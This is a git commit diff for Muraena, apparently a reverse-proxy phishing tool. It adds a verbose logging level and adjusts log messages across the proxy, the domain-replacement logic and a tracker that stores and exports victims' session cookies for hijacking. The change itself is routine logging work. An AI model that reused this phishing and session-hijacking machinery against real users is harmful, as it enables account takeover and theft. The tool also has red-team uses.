Better logging

This commit is contained in:
Ohpe 2023-11-14 12:27:34 +01:00
parent 89150f4e8a
commit ef21d787a2
No known key found for this signature in database
7 changed files with 134 additions and 53 deletions

View file

@ -5,6 +5,7 @@ import (
)
type Options struct {
Verbose *bool
Debug *bool
Proxy *bool
Version *bool
@ -17,6 +18,7 @@ type Options struct {
func ParseOptions() (Options, error) {
o := Options{
ConfigFilePath: flag.String("config", "", "Path to config file."),
Verbose: flag.Bool("verbose", false, "Print verbose messages."),
Debug: flag.Bool("debug", false, "Print debug messages."),
Proxy: flag.Bool("proxy", false, "Enable internal proxy."),
Version: flag.Bool("version", false, "Print current version."),

View file

@ -160,7 +160,7 @@ func (muraena *MuraenaProxy) RequestProcessor(request *http.Request) (err error)
for k, v := range query[pKey] {
query[pKey][k] = replacer.Transform(v, true, base64)
if v != query[pKey][k] {
log.Debug("[Query] Transformed %s to %s", v, query[pKey][k])
log.Verbose("[Query] Transformed %s to %s", v, query[pKey][k])
}
}
}
@ -187,7 +187,7 @@ func (muraena *MuraenaProxy) RequestProcessor(request *http.Request) (err error)
if hVal != hURL {
request.Header.Set(header, hURL)
log.Debug("Patched HTTP %s to %s", tui.Bold(tui.Red(header)), tui.Bold(tui.Red(request.Header.Get(header))))
log.Verbose("Patched HTTP %s to %s", tui.Bold(tui.Red(header)), tui.Bold(tui.Red(request.Header.Get(header))))
}
}
}
@ -202,10 +202,15 @@ func (muraena *MuraenaProxy) RequestProcessor(request *http.Request) (err error)
request.Header.Set(header.Name, header.Value)
}
l := fmt.Sprintf("%s - [%s][%s%s(%s)%s]", lhead,
Magenta(request.Method), Magenta(sess.Config.Protocol), Green(muraena.Origin),
Yellow(muraena.Target), Cyan(request.URL.Path))
log.Info(l)
//l := fmt.Sprintf("%s - [%s][%s%s(%s)%s]", lhead,
// Magenta(request.Method), Magenta(sess.Config.Protocol), Green(muraena.Origin),
// Yellow(muraena.Target), Cyan(request.URL.Path))
l := fmt.Sprintf("%s - [%s][%s%s%s]",
lhead,
Magenta(request.Method),
Magenta(sess.Config.Protocol), Yellow(muraena.Target), Cyan(request.URL.Path))
log.Debug(l)
//
// BODY
@ -219,10 +224,10 @@ func (muraena *MuraenaProxy) RequestProcessor(request *http.Request) (err error)
}
if muraena.Session.Config.Tracking.Enabled && track.IsValid() {
log.Debug("Going to hijack session: %s (Track: %+v)", request.URL.Path, track)
log.Verbose("Hijacking session: %s at %s", track.ID, request.URL.Path)
err = track.HijackSession(request)
if err != nil {
log.Debug("Error Hijacking Session: %s", err)
log.Warning("Error Hijacking Session: %s", err)
return nil
}
}

View file

@ -60,14 +60,14 @@ func (r *Replacer) Transform(input string, forward bool, b64 Base64) (result str
matchSubdomains := re.FindAllString(source, -1)
matchSubdomains = ArmorDomain(matchSubdomains)
if len(matchSubdomains) > 0 {
log.Debug("Wildcard pattern: %v match %d!", re.String(), len(matchSubdomains))
log.Verbose("Wildcard pattern: %v match %d", re.String(), len(matchSubdomains))
for _, element := range matchSubdomains {
newDomain := r.PatchComposedWildcardURL(element)
source = strings.ReplaceAll(source, element, newDomain)
}
log.Debug("Source after wildcard patching: %s", source)
log.Verbose("Source after wildcard patching: %s", source)
}
}
@ -115,7 +115,7 @@ func (r *Replacer) Transform(input string, forward bool, b64 Base64) (result str
matchSubdomains := re.FindAllString(result, -1)
matchSubdomains = ArmorDomain(matchSubdomains)
if len(matchSubdomains) > 0 {
log.Debug("Wildcard pattern: %v match %d!", re.String(), len(matchSubdomains))
log.Verbose("Wildcard pattern: %v match %d!", re.String(), len(matchSubdomains))
}
for _, element := range matchSubdomains {
@ -133,7 +133,6 @@ func (r *Replacer) Transform(input string, forward bool, b64 Base64) (result str
// Patch the wildcard
element = strings.ReplaceAll(element, "."+wldPrefix, "-"+wldPrefix)
log.Info("[*] New wildcard %s (%s)", tui.Bold(tui.Red(element)), tui.Green(element))
rep = append(rep, element)
}
@ -161,10 +160,10 @@ func (r *Replacer) Transform(input string, forward bool, b64 Base64) (result str
r.MakeReplacements()
r.loopCount++
log.Info("We need another (#%d) transformation loop, because of this new domains:%s",
log.Verbose("We need another (#%d) transformation loop, because of this new domains:%s",
r.loopCount, tui.Green(fmt.Sprintf("%v", rep)))
if r.loopCount > 30 {
log.Error("Too many transformation loops, aborting.")
log.Debug("Too many transformation loops, aborting.")
return
}
@ -204,6 +203,12 @@ func (r *Replacer) PatchComposedWildcardURL(URL string) (result string) {
domain = strings.Split(domain, "://")[1]
}
r.SetExternalOrigins([]string{domain})
//origins := r.GetOrigins()
//if sub, ok := origins[domain]; ok {
// log.Info("%s is mapped to %s", tui.Bold(tui.Red(domain)), tui.Green(sub))
// result = fmt.Sprintf("%s%s.%s%s", protocol, sub, r.Phishing, path)
// return
//}
result = fmt.Sprintf("%s%s%s", protocol, domain, path)
}
@ -334,7 +339,7 @@ func (r *Replacer) MakeReplacements() {
r.ForwardReplacements = append(r.ForwardReplacements, rep...)
count++
log.Debug("[Forward | replacements #%d]: %s > %s", count, tui.Yellow(rep[0]), tui.Green(to))
log.Verbose("[Forward | replacements #%d]: %s > %s", count, tui.Yellow(rep[0]), tui.Green(to))
}
// Append wildcards at the end
@ -345,7 +350,7 @@ func (r *Replacer) MakeReplacements() {
r.ForwardReplacements = append(r.ForwardReplacements, rep...)
count++
log.Debug("[Wild Forward | replacements #%d]: %s > %s", count, tui.Yellow(rep[0]), tui.Green(to))
log.Verbose("[Wild Forward | replacements #%d]: %s > %s", count, tui.Yellow(rep[0]), tui.Green(to))
}
//
@ -359,7 +364,7 @@ func (r *Replacer) MakeReplacements() {
if strings.HasPrefix(subMapping, WildcardPrefix) {
// Ignoring wildcard at this stage
log.Debug("[Wildcard] %s - %s", tui.Yellow(subMapping), tui.Green(include))
log.Verbose("[Wildcard] %s - %s", tui.Yellow(subMapping), tui.Green(include))
continue
}
@ -369,7 +374,7 @@ func (r *Replacer) MakeReplacements() {
r.BackwardReplacements = append(r.BackwardReplacements, rep...)
count++
log.Debug("[Backward | replacements #%d]: %s < %s", count, tui.Green(rep[0]), tui.Yellow(to))
log.Verbose("[Backward | replacements #%d]: %s < %s", count, tui.Green(rep[0]), tui.Yellow(to))
}
// Append wildcards at the end
@ -380,17 +385,16 @@ func (r *Replacer) MakeReplacements() {
r.BackwardReplacements = append(r.BackwardReplacements, rep...)
count++
log.Debug("[Wild Backward | replacements #%d]: %s < %s", count, tui.Green(rep[0]), tui.Yellow(to))
log.Verbose("[Wild Backward | replacements #%d]: %s < %s", count, tui.Green(rep[0]), tui.Yellow(to))
}
//
// These should be done as Final replacements
r.LastBackwardReplacements = []string{}
// Custom HTTP response replacements
for _, tr := range r.CustomResponseTransformations {
r.LastBackwardReplacements = append(r.LastBackwardReplacements, tr...)
log.Debug("[Custom Replacements] %+v", tr)
log.Verbose("[Custom Replacements] %+v", tr)
}
r.BackwardReplacements = append(r.BackwardReplacements, r.LastBackwardReplacements...)
@ -411,7 +415,7 @@ func (r *Replacer) DomainMapping() (err error) {
// We don't map 1-level subdomains ..
if strings.Count(trim, ".") < 2 {
log.Warning("Ignore: %s [%s]", domain, trim)
log.Verbose("Ignore: %s [%s]", domain, trim)
continue
}
}
@ -428,16 +432,14 @@ func (r *Replacer) DomainMapping() (err error) {
o := fmt.Sprintf("%s%d", prefix, wildcards)
r.WildcardDomain = o
r.WildcardMapping[domain] = o
//log.Info("Wild Including [%s]=%s", domain, o)
log.Debug(fmt.Sprintf("Wild Including [%s]=%s", domain, o))
log.Debug(fmt.Sprintf("*.%s=%s", domain, o))
} else {
count++
// Extra domains or nested subdomains
o := fmt.Sprintf("%s%d", r.ExternalOriginPrefix, count)
origins[domain] = o
//log.Info("Including [%s]=%s", domain, o)
log.Debug(fmt.Sprintf("Including [%s]=%s", domain, o))
log.Debug(fmt.Sprintf("%s=%s", domain, o))
}
}

61
log/level.go Normal file
View file

@ -0,0 +1,61 @@
package log
import (
"github.com/evilsocket/islazy/tui"
)
// Verbosity represents the verbosity level of the logger.
type Verbosity int
const (
// Verbose messages
VERBOSE Verbosity = iota
// Debug messages.
DEBUG
// Informative messages.
INFO
// Informative messages that are important.
IMPORTANT
// Warning messages.
WARNING
// Recoverable error conditions.
ERROR
// Fatal error conditions.
FATAL
)
var (
// LevelNames is a map of the names ( {level:name} ) of each verbosity level.
LevelNames = map[Verbosity]string{
VERBOSE: "ver",
DEBUG: "dbg",
INFO: "inf",
IMPORTANT: "imp",
WARNING: "war",
ERROR: "err",
FATAL: "!!!",
}
// LevelColors is a map of the colors ( {level:color} ) of each verbosity level.
LevelColors = map[Verbosity]string{
VERBOSE: tui.DIM + tui.FOREBLACK + tui.BACKYELLOW,
DEBUG: tui.DIM + tui.FOREBLACK + tui.BACKDARKGRAY,
INFO: tui.FOREWHITE + tui.BACKGREEN,
IMPORTANT: tui.FOREWHITE + tui.BACKLIGHTBLUE,
WARNING: tui.FOREWHITE + tui.BACKYELLOW,
ERROR: tui.FOREWHITE + tui.BACKRED,
FATAL: tui.FOREWHITE + tui.BACKRED + tui.BOLD,
}
)
// LevelName returns the name of a verbosity level.
func LevelName(v Verbosity) string {
return LevelNames[v]
}
// LevelColor returns the color of a verbosity level or "" if effects are disabled.
func LevelColor(v Verbosity) string {
if NoEffects {
return ""
}
return LevelColors[v]
}

View file

@ -9,7 +9,6 @@ import (
"sync"
"time"
ll "github.com/evilsocket/islazy/log"
"github.com/evilsocket/islazy/tui"
"github.com/muraenateam/muraena/core"
@ -17,12 +16,13 @@ import (
type logger struct {
Writer *os.File
Level ll.Verbosity
Level Verbosity
FormatConfig FormatConfig
NoEffects bool
}
var (
NoEffects = false
lock = &sync.Mutex{}
loggers = map[string]logger{}
reEffects = []*regexp.Regexp{
@ -34,9 +34,8 @@ var (
func Init(opt core.Options, isLogToFile bool, logFilePath string) {
noEffects := false
if !tui.Effects() {
noEffects = true
NoEffects = true
if *opt.NoColors {
fmt.Printf("\n\nWARNING: Terminal colors have been disabled, view will be very limited.\n\n")
} else {
@ -44,15 +43,17 @@ func Init(opt core.Options, isLogToFile bool, logFilePath string) {
}
}
logLevel := ll.INFO
if *opt.Debug {
logLevel = ll.DEBUG
logLevel := INFO
if *opt.Verbose {
logLevel = VERBOSE
} else if *opt.Debug {
logLevel = DEBUG
}
config := FormatConfigBasic
config.Format = "{datetime} {level:color}{level:name}{reset} {message}"
// Console Log
err := AddOutput("", logLevel, config, noEffects)
err := AddOutput("", logLevel, config, NoEffects)
if err != nil {
panic(err)
}
@ -66,7 +67,7 @@ func Init(opt core.Options, isLogToFile bool, logFilePath string) {
}
}
func AddOutput(path string, level ll.Verbosity, config FormatConfig, noEffects bool) (err error) {
func AddOutput(path string, level Verbosity, config FormatConfig, NoEffects bool) (err error) {
var writer *os.File
if path == "" {
writer = os.Stdout
@ -77,7 +78,7 @@ func AddOutput(path string, level ll.Verbosity, config FormatConfig, noEffects b
}
}
lock.Lock()
loggers[path] = logger{writer, level, config, noEffects}
loggers[path] = logger{writer, level, config, NoEffects}
lock.Unlock()
return
}
@ -97,7 +98,7 @@ func (l *logger) emit(s string) {
}
func do(v ll.Verbosity, format string, args ...interface{}) {
func do(v Verbosity, format string, args ...interface{}) {
lock.Lock()
defer lock.Unlock()
@ -130,10 +131,10 @@ func do(v ll.Verbosity, format string, args ...interface{}) {
return strconv.Itoa(int(v))
},
"{level:name}": func() string {
return ll.LevelNames[v]
return LevelNames[v]
},
"{level:color}": func() string {
return ll.LevelColors[v]
return LevelColors[v]
},
"{message}": func() string {
return currMessage
@ -171,33 +172,38 @@ func Raw(format string, args ...interface{}) {
}
}
// Verbose emits a verbose message.
func Verbose(format string, args ...interface{}) {
do(VERBOSE, format, args...)
}
// Debug emits a debug message.
func Debug(format string, args ...interface{}) {
do(ll.DEBUG, format, args...)
do(DEBUG, format, args...)
}
// Info emits an informative message.
func Info(format string, args ...interface{}) {
do(ll.INFO, format, args...)
do(INFO, format, args...)
}
// Important emits an important informative message.
func Important(format string, args ...interface{}) {
do(ll.IMPORTANT, format, args...)
do(IMPORTANT, format, args...)
}
// Warning emits a warning message.
func Warning(format string, args ...interface{}) {
do(ll.WARNING, format, args...)
do(WARNING, format, args...)
}
// Error emits an error message.
func Error(format string, args ...interface{}) {
do(ll.ERROR, format, args...)
do(ERROR, format, args...)
}
// Fatal emits a fatal error message and calls the ll.OnFatal callback.
// Fatal emits a fatal error message and calls the OnFatal callback.
func Fatal(format string, args ...interface{}) {
do(ll.FATAL, format, args...)
do(FATAL, format, args...)
os.Exit(1)
}

View file

@ -7,6 +7,7 @@ import (
"time"
"github.com/evilsocket/islazy/tui"
"github.com/muraenateam/muraena/module/necrobrowser"
"github.com/muraenateam/muraena/core/db"
@ -61,7 +62,7 @@ func (module *Tracker) ExportSession(id string) {
victim, err := db.GetVictim(id)
if err != nil {
module.Debug("error fetching victim %d: %s", id, err)
module.Error("error fetching victim (%s): %s", id, err)
}
// this extra loop and struct is needed since browsers expect the expiration time in unix time, so also different type
@ -71,7 +72,7 @@ func (module *Tracker) ExportSession(id string) {
log.Debug("trying to parse %s with layout %s", c.Expires, timeLayout)
t, err := time.Parse(timeLayout, c.Expires)
if err != nil {
log.Warning("warning: cant's parse Expires field (%s) of cookie %s. skipping cookie", c.Expires, c.Name)
log.Warning("cant's parse Expires field (%s) of cookie %s. skipping cookie", c.Expires, c.Name)
continue
}
@ -91,11 +92,11 @@ func (module *Tracker) ExportSession(id string) {
cookieJarJson, err := json.Marshal(cookieJar)
if err != nil {
module.Warning("Error marshalling the cookieJar: %s", err)
module.Error("error marshalling cookie jar: %s", err)
return
}
log.Info("Victim %s CookieJar:\n\n%s", id, cookieJarJson)
log.Info("CookieJar:\n%s", tui.Bold(string(cookieJarJson)))
}
// ShowVictims prints the list of victims
@ -123,7 +124,7 @@ func (module *Tracker) ShowVictims() {
// PushVictim stores a Victim in the database
func (module *Tracker) PushVictim(v *db.Victim) {
if err := v.Store(); err != nil {
module.Debug("error adding victim to redis: %s", err)
module.Error("error storing victim: %s", err)
}
}
@ -140,6 +141,6 @@ func (module *Tracker) PushCookie(victim *db.Victim, cookie db.VictimCookie) {
return
}
module.Debug("[%s] New victim cookie: %s on %s with value %s",
victim.ID, tui.Bold(cookie.Name), tui.Bold(cookie.Domain), tui.Bold(cookie.Value))
module.Debug("[%s] New cookie: %s on %s",
victim.ID, tui.Bold(cookie.Name), tui.Bold(cookie.Domain))
}

View file

@ -35,6 +35,10 @@ func NewSessionModule(name string, s *Session) SessionModule {
return m
}
func (m *SessionModule) Verbose(format string, args ...interface{}) {
log.Verbose(m.tag+format, args...)
}
func (m *SessionModule) Debug(format string, args ...interface{}) {
log.Debug(m.tag+format, args...)
}